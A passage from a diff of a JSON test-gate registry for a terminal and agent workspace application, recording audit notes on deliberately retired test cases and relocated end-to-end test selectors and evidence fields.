(sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1904 reduces persistence-pty-binding-reconciliation from six to four definitions, intentionally losing legacy remap-load and first-binding projection alarms. Current selector/testFile remains valid, with no selected-source assertionRef or active matching receipt. The six unchanged close/continuity receipts keep their exact original scope; no new broad gate or replacement evidence is claimed. Historical prior account (preserved verbatim): Audit1683 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1674 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Capture exact tab, pane, PTY, handle, incarnation, and persisted layout identities. Final-pane terminal.close must invoke one durability-acknowledged tab retirement before exact PTY teardown; controlled PTY exit and graph removal afterward must remain idempotent, omit the target from persistence and provider inventory, and leave an unrelated canary handle live. terminal.closeAll must force-retire every pinned and unpinned target surface, clear its persisted agent-resume and incarnation records, await authoritative PTY exit, preserve a sibling worktree's tab, PTY, and resume authority, and return an unverifiable failure instead of claiming exit when the owning host does not confirm a stop. The ordinary path stays pending until the persisted row is removed and never falls back to the fire-and-forget pane event; reload/restart must keep the explicitly emptied worktree at zero terminal tabs and provider sessions. Reloading the renderer with the same tab/pane/PTY/incarnation must keep the handle readable; changing only the incarnation behind the same PTY id, losing the authoritative graph, or superseding the renderer handle with a preallocated handle must reject the old handle with terminal_handle_stale. Parked-close tests prove the exact PTY disappears; descendant/process tests keep natural exits reserved, upgrade teardown safely, bound/coalesce process-table work, and protect recycled identities.", + "oracle": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5631 accompanies Audit5617 whole-suite deletion of src/renderer/src/store/terminals/layout/terminal-pane-detach-agent-identity.test.ts. Accepted loss: Detached leaf foreground/status/launch/resume identity map transfer and sibling preservation. No equivalent replacement or fresh reduced-command validation is claimed. Retained partial protection applies only to independent historical receipt scopes and does not protect these retired alarms. Historical prior account follows: Audit4368 intentionally drops seven mocked teardown cases: duplicate single-chat rollback, forced stuck-close warning/retirement, post-close-throw exit acceptance, mixed live/unconfirmed wording, exact serial-close budget work, missing runtime selector success and runtime-sweep rejection. Four structured-session and three PTY teardown cases remain; no replacement or fresh native/process/remote proof is claimed. Historical assertion anchors and receipts are not refreshed by this source-only reduction. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4351 removes the physical-exit timeout/retry and kill-failure/retry local-PTY shutdown cases. The retained shutdown case proves pending ownership until the injected node-pty exit callback only. These two narrow error-path alarms are intentionally lost; retained commands still select the reduced suite. No equivalent replacement or fresh runtime execution is claimed. Earlier notes and dated receipts retain their original scopes. Audit3832 deliberately retires76 authored/79 finite cases:75 runtime compatibility cases/78 finite cases across14 fragments, plus one localization extractor default-flag case. Three whole runtime fragments are deleted;27 authored/30 finite cases remain across the reviewed sources. This gate retains only its own selected scope; no equivalent replacement or fresh runtime/native/remote evidence is claimed. Runtime component A: Audit3828 composes3822 with independent3824: deliberately retires49 authored/52 finite cases from seven compatibility fragments, leaving15 authored/18 finite cases and deleting two entire fragments. Accepted losses: positive folder-worker recovery/materialization and reveal deadline; persisted-key normalization and legacy split/group/focus projection; fixed stale CAS refusal; occupied/alias/restored/preallocated terminal-handle variants; fixed OpenCode/Cursor/Claude/Codex/Antigravity classification, readiness, title and management examples; direct private-map browser authority projections; browser-focus and OMP title projection; already-aborted claim cleanup. Additional3824 loss: src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts :: does not poll a wrapper foreground for a speculative CLI prompt send :: Speculative retryForegroundWrappers:false check must return false on a wrapper after one foreground read, without polling the supplied later codex response. These real bounded alarms are deliberately retired for low marginal value. Retained callbacks are unchanged and provide only their own bounded scope, not equivalent replacement. Historical receipts do not validate reduced callbacks. No fresh runtime/native/SSH/WSL/phone/browser evidence or full transitive closure is claimed. Runtime component B: Audit3834 deliberately retires26 authored/26 finite cases from seven fresh compatibility fragments, leaving10/10 and deleting the one-case saved-binding reattachment fragment. Original position58 is excluded: its existing substantive3578 KEEP7 review remains historical, with no fresh credit. Accepted losses: fixed hook/provider-session identities and stale metadata refusal; decorative/pre-title foreground ordering variants; saved-binding surface reattachment; saved-row exit ghost removal and silent activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Lose the complete completed-worker-retirement-resume suite: exact terminal-close resume-record revocation, PTY-exit recovery retention and settled-worker release examples. Remove its exact command token or standalone command, testFiles entry and assertionRef, archiving complete prior fields. Independent receipts retain original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3323 (reconciled source audit3320) intentionally retires seven low-value renderer authority/retirement examples: retires one pane, clears resume authority, and rejects late status without harming siblings — Late status reviving a retired pane, sibling damage, or resume authority left behind.; can retire live pane authority while retaining its sleeping session — Retiring live authority accidentally dropping a retained sleeping session.; keeps a physical pane routed through chained detaches until its current owner closes — Chained detach alias routing broken after original owner closes, or alias survives final close.; forgets routing aliases for purged tabs — Purged-tab routing aliases lingering.; retires split, relay, deferred, and pending sessions for a parked tab — Split, relay, deferred or pending session omitted from teardown, sleeping-record sibling damaged, parked disposer skipped.; retires parked ownership before teardown and sweeps published state before unified close — Parked cleanup/provider teardown/state removal/sweep/unified-close ordering changes.; starts mixed provider teardown and classifies both rejection kinds after synchronous retirement — Mixed teardown failures blocking retirement, or local/runtime warning counts misclassified.. Remove the exact-pane-retirement and chained-detach assertion references because their source cases are gone. Other retained cases do not replace these alarms. Preserve all dated evidenceRuns and prior history with their original source scope; no fresh execution or historical import-closure equivalence is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1904 reduces persistence-pty-binding-reconciliation from six to four definitions, intentionally losing legacy remap-load and first-binding projection alarms. Current selector/testFile remains valid, with no selected-source assertionRef or active matching receipt. The six unchanged close/continuity receipts keep their exact original scope; no new broad gate or replacement evidence is claimed. Historical prior account (preserved verbatim): Audit1683 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1674 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Capture exact tab, pane, PTY, handle, incarnation, and persisted layout identities. Final-pane terminal.close must invoke one durability-acknowledged tab retirement before exact PTY teardown; controlled PTY exit and graph removal afterward must remain idempotent, omit the target from persistence and provider inventory, and leave an unrelated canary handle live. terminal.closeAll must force-retire every pinned and unpinned target surface, clear its persisted agent-resume and incarnation records, await authoritative PTY exit, preserve a sibling worktree's tab, PTY, and resume authority, and return an unverifiable failure instead of claiming exit when the owning host does not confirm a stop. The ordinary path stays pending until the persisted row is removed and never falls back to the fire-and-forget pane event; reload/restart must keep the explicitly emptied worktree at zero terminal tabs and provider sessions. Reloading the renderer with the same tab/pane/PTY/incarnation must keep the handle readable; changing only the incarnation behind the same PTY id, losing the authoritative graph, or superseding the renderer handle with a preallocated handle must reject the old handle with terminal_handle_stale. Parked-close tests prove the exact PTY disappears; descendant/process tests keep natural exits reserved, upgrade teardown safely, bound/coalesce process-table work, and protect recycled identities.", "commands": [ "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/surface/orca-runtime-terminal-close-continuity.test.ts", "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts", "pnpm dlx node@24 ./node_modules/vitest/vitest.mjs run --config config/vitest.config.ts src/main/agent-hooks/server/testing/authority/server-pane-authority.test.ts src/main/ipc/agent-hooks/agent-pane-authority-ownership.test.ts src/main/persistence/restoring-sessions/persistence-pane-identity-migration.test.ts src/main/persistence/loading-store/terminal-bindings/persistence-pty-binding-reconciliation.test.ts src/renderer/src/components/shared/kill-all-terminal-surfaces.test.ts", "pnpm exec vitest run --config config/vitest.config.ts src/main/pty/process-retirement/pty-descendant-termination.test.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/providers/local-pty/local-pty-provider-shutdown.test.ts src/main/runtime/workspaces/removal/worktree-teardown.test.ts", - "pnpm run test:e2e -- tests/e2e/terminal-tab-close-restart-persistence.spec.ts --workers=1", - "pnpm run test:e2e -- tests/e2e/terminal-parked-close-retirement.spec.ts --workers=1", - "pnpm run test:e2e -- tests/e2e/agent-descendant-process-kill.spec.ts --workers=1", - "pnpm run test:e2e -- tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts --workers=1", - "pnpm run test:e2e -- tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts --workers=1" + "pnpm run test:e2e -- tests/e2e/terminal/retention/terminal-parked-close-retirement.spec.ts --workers=1", + "pnpm run test:e2e -- tests/e2e/agents/session-lifecycle/agent-descendant-process-kill.spec.ts --workers=1" ], "testFiles": [ "src/main/runtime/terminal/surface/orca-runtime-terminal-close-continuity.test.ts", @@ -5859,11 +5193,8 @@ "src/main/providers/local-pty/local-pty-provider-shutdown.test.ts", "src/main/runtime/workspaces/removal/worktree-teardown.test.ts", "src/renderer/src/components/shared/kill-all-terminal-surfaces.test.ts", - "tests/e2e/terminal-tab-close-restart-persistence.spec.ts", - "tests/e2e/terminal-parked-close-retirement.spec.ts", - "tests/e2e/agent-descendant-process-kill.spec.ts", - "tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts", - "tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts" + "tests/e2e/terminal/retention/terminal-parked-close-retirement.spec.ts", + "tests/e2e/agents/session-lifecycle/agent-descendant-process-kill.spec.ts" ], "assertionRefs": [ { @@ -5875,37 +5206,12 @@ ] }, { - "file": "tests/e2e/terminal-tab-close-restart-persistence.spec.ts", - "assertions": [ - "a durability-acknowledged whole-tab close leaves zero terminal tabs and provider sessions after restart" - ] - }, - { - "file": "tests/e2e/terminal-parked-close-retirement.spec.ts", + "file": "tests/e2e/terminal/retention/terminal-parked-close-retirement.spec.ts", "assertions": [ "a long-lived exact PTY remains alive after its terminal view is parked", "closing the parked tab removes the exact PTY from the provider inventory and the visible tab model" ] }, - { - "file": "tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts", - "assertions": [ - "an attached-window desktop host publishes the CLI-created terminal under the renderer publication epoch it inherits, proving the vulnerable classification path was taken rather than a headless or serve/SSH-shaped one", - "with the target as the first host-created terminal, a renderer graph sync leaves the `terminal.create` tab in the host session inventory still naming its original daemon PTY", - "the original fixture process answers a write through that handle with its own pid and a single READY line, so a respawned replacement cannot pass as a survivor", - "the paired client applied that same sync and kept the tab with no replacement or resume tab appended", - "an unrelated workspace keeps its own CLI terminal and PTY, and the client raises no direct local connection attempt or uncaught renderer error" - ] - }, - { - "file": "tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts", - "assertions": [ - "a windowless serve host publishes host-created terminals under a headless epoch, never a renderer one, which is why it cannot reach the window-conditioned prune the desktop arm reproduces", - "a later CLI dispatch leaves the earlier host-created terminal in the serve-host inventory still bound to its original PTY", - "both original fixture processes answer writes through their own handles after the later dispatch", - "the paired client mirrors exactly those two tabs with no replacement or resume tab appended, no direct local connection attempt, and no uncaught renderer error" - ] - }, { "file": "src/main/ipc/agent-hooks/agent-pane-authority-ownership.test.ts", "assertions": [ @@ -5920,7 +5226,7 @@ ] }, { - "file": "tests/e2e/agent-descendant-process-kill.spec.ts", + "file": "tests/e2e/agents/session-lifecycle/agent-descendant-process-kill.spec.ts", "assertions": [ "a detached-pgid descendant is alive before agent PTY kill and absent afterward" ] @@ -5950,19 +5256,19 @@ ], "runtimeBudget": { "p95Seconds": 60, - "scope": "fresh E2E build plus isolated local Electron parked-close and descendant-kill tests" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. fresh E2E build plus isolated local Electron parked-close and descendant-kill tests" }, "flakeHistory": { - "status": "unknown", - "evidence": "The Electron gate passed three times locally, including the final review-fix head through the registered fresh-build command; CI and soak history are not yet available." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: The Electron gate passed three times locally, including the final review-fix head through the registered fresh-build command; CI and soak history are not yet available." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): STA-4327 used two byte-identical oracles. Runtime oracle cd248b67cc10ef64f2def315b86c3b0236b102639d03c65a0c5d9519e538d3af failed the same three durability/continuity checks on reported v1.4.180 (0b62333cf1), latest main (9bb8836bb6), and disabled fix; runtime candidate 3cf8a37447 passed 5/5, and final code candidate 121e112d77 separately passed its expanded 6/6 oracle. Renderer oracle 3b0949eef8b792cf5b09cfa55341f4216c08714f158e4b132e988e8114636cea failed both explicit-empty hydration/fallback checks on v1.4.180, latest main, and disabled fix, while renderer candidate 121e112d77 passed 2/2. The 1.4.187 recurrence oracle deterministically failed with historical tab_not_found when PTY stop was moved ahead of durable retirement, then passed with retirement committed before externally owned teardown while the canary remained live." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): STA-4327 used two byte-identical oracles. Runtime oracle cd248b67cc10ef64f2def315b86c3b0236b102639d03c65a0c5d9519e538d3af failed the same three durability/continuity checks on reported v1.4.180 (0b62333cf1), latest main (9bb8836bb6), and disabled fix; runtime candidate 3cf8a37447 passed 5/5, and final code candidate 121e112d77 separately passed its expanded 6/6 oracle. Renderer oracle 3b0949eef8b792cf5b09cfa55341f4216c08714f158e4b132e988e8114636cea failed both explicit-empty hydration/fallback checks on v1.4.180, latest main, and disabled fix, while renderer candidate 121e112d77 passed 2/2. The 1.4.187 recurrence oracle deterministically failed with historical tab_not_found when PTY stop was moved ahead of durable retirement, then passed with retirement committed before externally owned teardown while the canary remained live." }, "performanceBudget": { "required": true, - "evidence": "The close path is user-triggered and bounded by canonical live-owner indexing. Production ps has a 1s kill timeout; 20 same-turn requests execute one fresh process-table read, while requests arriving after a scan starts immediately share one successor so their deadline is not consumed waiting and no unusable ps starts after timeout. Completed tables are never reused. Bulk worktree shutdown runs in 32-wide batches so each batch can coalesce its initial scan without unbounded provider fanout. Descendant traversal uses a visited set and index cursor; a Node 24 local 100,000-wide synthetic tree fell from 861ms to 16.7ms, and escalation indexes only the requested descendant PIDs instead of duplicating the full process table. Escalation uses the same bounded coordinator, and kill-all store scale remains covered by terminal-session.kill-all-surface-cleanup." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. The close path is user-triggered and bounded by canonical live-owner indexing. Production ps has a 1s kill timeout; 20 same-turn requests execute one fresh process-table read, while requests arriving after a scan starts immediately share one successor so their deadline is not consumed waiting and no unusable ps starts after timeout. Completed tables are never reused. Bulk worktree shutdown runs in 32-wide batches so each batch can coalesce its initial scan without unbounded provider fanout. Descendant traversal uses a visited set and index cursor; a Node 24 local 100,000-wide synthetic tree fell from 861ms to 16.7ms, and escalation indexes only the requested descendant PIDs instead of duplicating the full process table. Escalation uses the same bounded coordinator, and kill-all store scale remains covered by terminal-session.kill-all-surface-cleanup." }, "promotionCriteria": [ "Accumulate 100 clean runs or 14 days on required CI platforms.", @@ -6026,7 +5332,10 @@ "Audit5631 exact retired testFiles entry: src/renderer/src/store/terminals/layout/terminal-pane-detach-agent-identity.test.ts", "Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. ", "Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. ", - "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. " + "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. ", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/surface/orca-runtime-terminal-close-continuity.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts\",\n \"pnpm dlx node@24 ./node_modules/vitest/vitest.mjs run --config config/vitest.config.ts src/main/agent-hooks/server/testing/authority/server-pane-authority.test.ts src/main/ipc/agent-hooks/agent-pane-authority-ownership.test.ts src/main/persistence/restoring-sessions/persistence-pane-identity-migration.test.ts src/main/persistence/loading-store/terminal-bindings/persistence-pty-binding-reconciliation.test.ts src/renderer/src/components/shared/kill-all-terminal-surfaces.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/pty/process-retirement/pty-descendant-termination.test.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/providers/local-pty/local-pty-provider-shutdown.test.ts src/main/runtime/workspaces/removal/worktree-teardown.test.ts\",\n \"pnpm run test:e2e -- tests/e2e/terminal-tab-close-restart-persistence.spec.ts --workers=1\",\n \"pnpm run test:e2e -- tests/e2e/terminal-parked-close-retirement.spec.ts --workers=1\",\n \"pnpm run test:e2e -- tests/e2e/agent-descendant-process-kill.spec.ts --workers=1\",\n \"pnpm run test:e2e -- tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts --workers=1\",\n \"pnpm run test:e2e -- tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts --workers=1\"\n ]\ntestFiles: [\n \"src/main/runtime/terminal/surface/orca-runtime-terminal-close-continuity.test.ts\",\n \"src/main/runtime/construction/orca-runtime.test.ts\",\n \"src/main/agent-hooks/server/testing/authority/server-pane-authority.test.ts\",\n \"src/main/ipc/agent-hooks/agent-pane-authority-ownership.test.ts\",\n \"src/main/persistence/restoring-sessions/persistence-pane-identity-migration.test.ts\",\n \"src/main/persistence/loading-store/terminal-bindings/persistence-pty-binding-reconciliation.test.ts\",\n \"src/main/pty/process-retirement/pty-descendant-termination.test.ts\",\n \"src/main/daemon/terminal-host/testing/terminal-host.test.ts\",\n \"src/main/providers/local-pty/local-pty-provider-shutdown.test.ts\",\n \"src/main/runtime/workspaces/removal/worktree-teardown.test.ts\",\n \"src/renderer/src/components/shared/kill-all-terminal-surfaces.test.ts\",\n \"tests/e2e/terminal-tab-close-restart-persistence.spec.ts\",\n \"tests/e2e/terminal-parked-close-retirement.spec.ts\",\n \"tests/e2e/agent-descendant-process-kill.spec.ts\",\n \"tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts\",\n \"tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/main/runtime/terminal/surface/orca-runtime-terminal-close-continuity.test.ts\",\n \"assertions\": [\n \"renderer reload with the same provider-attested PTY incarnation preserves the exact handle\",\n \"same-id replacement incarnation publishes a new handle and makes the old handle deterministically stale\",\n \"hard graph loss and preallocated-handle supersession make the retained renderer handle deterministically stale\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-tab-close-restart-persistence.spec.ts\",\n \"assertions\": [\n \"a durability-acknowledged whole-tab close leaves zero terminal tabs and provider sessions after restart\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-parked-close-retirement.spec.ts\",\n \"assertions\": [\n \"a long-lived exact PTY remains alive after its terminal view is parked\",\n \"closing the parked tab removes the exact PTY from the provider inventory and the visible tab model\"\n ]\n },\n {\n \"file\": \"tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts\",\n \"assertions\": [\n \"an attached-window desktop host publishes the CLI-created terminal under the renderer publication epoch it inherits, proving the vulnerable classification path was taken rather than a headless or serve/SSH-shaped one\",\n \"with the target as the first host-created terminal, a renderer graph sync leaves the `terminal.create` tab in the host session inventory still naming its original daemon PTY\",\n \"the original fixture process answers a write through that handle with its own pid and a single READY line, so a respawned replacement cannot pass as a survivor\",\n \"the paired client applied that same sync and kept the tab with no replacement or resume tab appended\",\n \"an unrelated workspace keeps its own CLI terminal and PTY, and the client raises no direct local connection attempt or uncaught renderer error\"\n ]\n },\n {\n \"file\": \"tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts\",\n \"assertions\": [\n \"a windowless serve host publishes host-created terminals under a headless epoch, never a renderer one, which is why it cannot reach the window-conditioned prune the desktop arm reproduces\",\n \"a later CLI dispatch leaves the earlier host-created terminal in the serve-host inventory still bound to its original PTY\",\n \"both original fixture processes answer writes through their own handles after the later dispatch\",\n \"the paired client mirrors exactly those two tabs with no replacement or resume tab appended, no direct local connection attempt, and no uncaught renderer error\"\n ]\n },\n {\n \"file\": \"src/main/ipc/agent-hooks/agent-pane-authority-ownership.test.ts\",\n \"assertions\": [\n \"pane authority transfer accepts only the canonical legacy/scoped runtime handle bound to the authoritative pane\"\n ]\n },\n {\n \"file\": \"src/main/runtime/workspaces/removal/worktree-teardown.test.ts\",\n \"assertions\": [\n \"owned provider shutdowns start together so process-table snapshots can coalesce within a batch\",\n \"inventories above 32 sessions never exceed 32 